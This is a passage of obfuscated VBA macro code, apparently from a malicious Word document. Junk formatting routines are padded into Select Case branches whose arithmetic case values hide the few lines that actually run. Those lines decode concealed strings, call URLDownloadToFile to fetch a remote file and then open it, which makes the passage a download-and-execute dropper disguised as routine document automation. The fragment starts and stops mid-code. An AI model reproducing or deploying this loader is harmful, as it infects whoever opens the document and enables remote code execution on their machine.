Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nEnd Select\n\n\n\nCall URLDownloadToFile(rw5ovQ5U(PkBfumIO4()), G1mg7mfiRX(4441 - (817) + (-3622)), fUodjSG6Z, rw5ovQ5U(PkBfumIO4()), rw5ovQ5U(PkBfumIO4()))\nVF3OaMsVWvMrZsR5.Open (fUodjSG6Z)\nEnd Sub\n\nFunction rw5ovQ5U(HVyjVR2) As String\n\nSelect Case 1496\nCase (82 + (-522) - (-829 + 704) + (617)):\n\n\n\n If Selection.Type = wdSelectionIP Then\n Selection.MoveLeft Unit:=wdWord, Count:=1\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n End If\n Selection.Range.Case = wdTitleWord\n Selection.Font.SmallCaps = True\n\n\n\n Title = \"CharCount\"\n CharCount = Len(Selection)\n Message = LTrim(Str(CharCount)) + \" character\"\n If CharCount <> 1 Then Message = Message + \"s\"\n MsgBox Message, vbOKOnly, Title\n\n\n\nCase (197 + -228 + (132 - (-422) + 973)): Dim MgsBMAMLfWqtc(-3907 - (-7165) + (-2203)) As Byte\n\nEnd Select\n\n\n\nSelect Case -615\nCase (205 + (134) - (593 + 620) + (122)):\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nCase (-642 + 631 + (-896 - (-709) + -417)): Dim AFSjbfDdB() As Byte\n\nEnd Select\n\n\n\nSelect Case -605\nCase (-646 + (-918) - (173 + -554) + (-918)):\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nCase (-122 + 51 + (-802 - (292) + 560)): Dim KEH8n5g\n\nEnd Select\n\n\n\nSelect Case -218\nCase (-936 + 582 + (186 - (241) + 191)): Dim pNYayaD\n\nCase (477 + (-615) - (991 + 637) + (538)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nEnd Select\n\n\n\nSelect Case 1059\nCase (-407 + (-870) - (-996 + 550) + (-70)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nCase (-50 + -158 + (-405 - (-864) + 808)): AFSjbfDdB = StrConv(HVyjVR2, (-2036 - (-4334) + (-2170)))\n\nEnd Select\n\n\n For pNYayaD = 0 To UBound(AFSjbfDdB) - 1\n If (pNYayaD Mod 4 = (8448 - (-71) + (-8519))) Then\n\nSelect Case -545\nCase (426 + (885) - (399 + -333) + (-794)):\n\n\n\n ' Display message, title, and default value\n Drive = InputBox(Message, Title, Default)\n If Drive > \"\" Then\n ffname = ActiveDocument.FullName\n FName = Drive & \":\\\" & ActiveDocument.Name\n ActiveDocument.SaveAs FName\n ActiveDocument.SaveAs ffname\n End If\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nCase (787 + 843 + (-862 - (940) + -373)): MgsBMAMLfWqtc(KEH8n5g) = AFSjbfDdB(pNYayaD)\n\nEnd Select\n\n\n\nSelect Case 1678\nCase (198 + (-269) - (469 + 453) + (183)):\n\n\n\n\n ' reference the current document\n Set docActive = ActiveDocument\n\n ' get the name of doc and also path/name\n ' of the template it's based-on\n strDocName = docActive.Name\n strTemplateName = docActive.AttachedTemplate.FullName\n\n ' create a copy document based on same template\n Set docNew = Documents.Add(strTemplateName)\n\n ' loop to copy each part of the active doc to the new doc\n For Each rngActiveDocPart In docActive.StoryRanges\n ' reference same part\n Set rngNewDocPart = docNew.StoryRanges _\n (rngActiveDocPart.StoryType)\n rngActiveDocPart.Copy\n rngNewDocPart.Paste\n Next rngActiveDocPart\n\n ' make the new document active\n docNew.Activate\n\n ' offer to save it on floppy drive A:\\\n\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\nCase (435 + 277 + (-47 - (-297) + 716)): KEH8n5g = KEH8n5g + 1\n\nEnd Select\n\n\n End If\n Next pNYayaD\n\nSelect Case 485\nCase (-296 + (262) - (523 + -45) + (194)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nCase (490 + 646 + (64 - (-146) + -861)): rw5ovQ5U = Left(StrConv(MgsBMAMLfWqtc, (-7442 - (-8340) + (-834))), KEH8n5g)\n\nEnd Select\n\n\nEnd Function\n\nFunction sb7XBIysm() As String\n\nSelect Case -287\nCase (-545 + 673 + (65 - (-242) + -722)): Dim O94h2vp2ctl7Pp\n\nCase (344 + (591) - (-411 + 112) + (-333)):\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nEnd Select\n\n\n\nSelect Case -2555\nCase (620 + (-968) - (-269 + -985) + (429)):\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nCase (-750 + 248 + (-469 - (749) + -835)): Dim GlsVJL\n\nEnd Select\n\n\n\nSelect Case -390\nCase (-423 + 368 + (806 - (958) + -183)): Dim duDMHfZuSL2B\n\nCase (196 + (-870) - (-854 + -944) + (-525)):\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nEnd Select\n\n\n\nSelect Case 353\nCase (-145 + (-843) - (-166 + 641) + (-666)):\n\n\n\n\n ' reference the current document\n Set docActive = ActiveDocument\n\n ' get the name of doc and also path/name\n ' of the template it's based-on\n strDocName = docActive.Name\n strTemplateName = docActive.AttachedTemplate.FullName\n\n ' create a copy document based on same template\n Set docNew = Documents.Add(strTemplateName)\n\n ' loop to copy each part of the active doc to the new doc\n For Each rngActiveDocPart In docActive.StoryRanges\n ' reference same part\n Set rngNewDocPart = docNew.StoryRanges _\n (rngActiveDocPart.StoryType)\n rngActiveDocPart.Copy\n rngNewDocPart.Paste\n Next rngActiveDocPart\n\n ' make the new document active\n docNew.Activate\n\n ' offer to save it on floppy drive A:\\\n\n\n\n\nWith Selection.Cells\n .Borders(wdBorderLeft).LineStyle = wdLineStyleNone\n With .Borders(wdBorderRight)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderTop)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderBottom)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n .Borders.Shadow = False\nEnd With\nWith Options\n .DefaultBorderLineStyle = wdLineStyleSingle\n .DefaultBorderLineWidth = wdLineWidth050pt\n .DefaultBorderColorIndex = wdAuto\nEnd With\n\n\n\nCase (427 + -315 + (354 - (688) + 575)): Dim eELRaVbGU\n\nEnd Select\n\n\n\nSelect Case 593\nCase (-864 + 141 + (-133 - (-633) + 816)): O94h2vp2ctl7Pp = r53u4nc(-8113 - (-5737) + (2376))\n\nCase (806 + (965) - (52 + 119) + (-614)):\n\n\n\n Title = \"CharCount\"\n CharCount = Len(Selection)\n Message = LTrim(Str(CharCount)) + \" character\"\n If CharCount <> 1 Then Message = Message + \"s\"\n MsgBox Message, vbOKOnly, Title\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case 881\nCase (-158 + (768) - (721 + 211) + (-28)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nCase (641 + -582 + (94 - (44) + 772)): GlsVJL = O94h2vp2ctl7Pp & r53u4nc(4010 - (1050) + (-2959))\n\nEnd Select\n\n\n\nSelect Case 1584\nCase (615 + 756 + (335 - (73) + -49)): duDMHfZuSL2B = GlsVJL & r53u4nc(4441 - (817) + (-3622))\n\nCase (419 + (512) - (620 + -282) + (-697)):\n\n\n\n If Selection.Type = wdSelectionIP Then\n Selection.MoveLeft Unit:=wdWord, Count:=1\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n End If\n Selection.Range.Case = wdTitleWord\n Selection.Font.SmallCaps = True\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case 1365\nCase (813 + (-788) - (292 + 372) + (144)):\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nCase (817 + -452 + (204 - (178) + 974)): eELRaVbGU = duDMHfZuSL2B & r53u4nc(5701 - (8757) + (3059))\n\nEnd Select\n\n\n\nSelect Case 721\nCase (835 + -291 + (-925 - (-878) + 224)): sb7XBIysm = eELRaVbGU\n\nCase (441 + (243) - (-777 + -95) + (473)):\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nEnd Select\n\n\nEnd Function\n\nFunction BBoRyvu4db() As String\n\nSelect Case -2911\nCase (370 + (10) - (800 + 544) + (-956)):\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nCase (-983 + 234 + (-335 - (904) + -923)): Dim CfE2yHHLbf5eE\n\nEnd Select\n\n\n\nSelect Case 731\nCase (-167 + (856) - (-623 + 303) + (-18)):\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nColumns.EntireColumn.Hidden = False\nRows.EntireRow.Hidden = False\n\n\n\nCase (702 + -267 + (354 - (-550) + -608)): Dim aTviQMLvaGrZSBToB\n\nEnd Select\n\n\n\nSelect Case -618\nCase (-306 + (759) - (-534 + 697) + (-727)):\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\nCase (-418 + -590 + (-172 - (-744) + -182)): Dim Mt2rR\n\nEnd Select\n\n\n\nSelect Case 885\nCase (343 + 91 + (766 - (538) + 223)): Dim FzJIOHZqfwXPesWr5\n\nCase (-888 + (-647) - (183 + 376) + (-712)):\n\n\n\niParCount = ActiveDocument.Paragraphs.Count\nFor J = 1 To iParCount\n sMyPar = ActiveDocument.Paragraphs(J).Range.Text\n ActiveDocument.Paragraphs(J).Range.Text = sMyPar\nNext J\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nEnd Select\n\n\n\nSelect Case 137\nCase (22 + -93 + (224 - (854) + 838)): Dim EuZcOMT\n\nCase (873 + (-583) - (9 + -28) + (-112)):\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nEnd Select\n\n\n\nSelect Case -205\nCase (24 + -964 + (157 - (-604) + -26)): Dim V5nWQJBcN8Ew\n\nCase (480 + (569) - (-530 + -943) + (644)):\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nEnd Select\n\n\n\nSelect Case 270\nCase (-897 + (-601) - (468 + -326) + (-243)):\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile 